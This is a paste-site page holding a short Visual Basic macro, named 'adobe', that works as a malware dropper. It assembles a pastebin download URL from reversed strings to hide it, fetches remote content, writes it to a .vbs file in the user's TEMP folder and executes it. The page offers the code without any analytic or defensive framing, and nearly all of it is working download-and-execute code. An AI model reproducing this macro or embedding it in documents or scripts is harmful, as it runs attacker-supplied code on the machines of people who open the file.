Facebook
From Coral Hamerkop, 6 Years ago, written in Visual Basic.
This paste is a reply to Untitled from Burly Earthworm - view diff
Embed
Download Paste or View Raw
Hits: 355
  1. Sub adobe()
  2. Set object = CreateObject(“MSXML2.XMLHTTP”)
  3. urlAdress = StrReverse(“tth”) + StrReverse(“i?php.daolnwod/moc.nibetsap//:p”) + StrReverse(“tRagE7MK=”)
  4. Call object.Open(“POST”, urlAdress, False)
  5. object.Send
  6. Set fso = CreateObject(“Scripting.FileSystemObject”)
  7. filePath = Environ(“TEMP”) & “\fileName.vbs”
  8. Set file = fso.CreateTextFile(filePath, 2)
  9. file.Write object.ResponseText
  10. file.Close
  11. Set shell = CreateObject(“Shell.Application”)
  12. shell.Open Environ(“TEMP”) & “\fileName.vbs”
  13. End Sub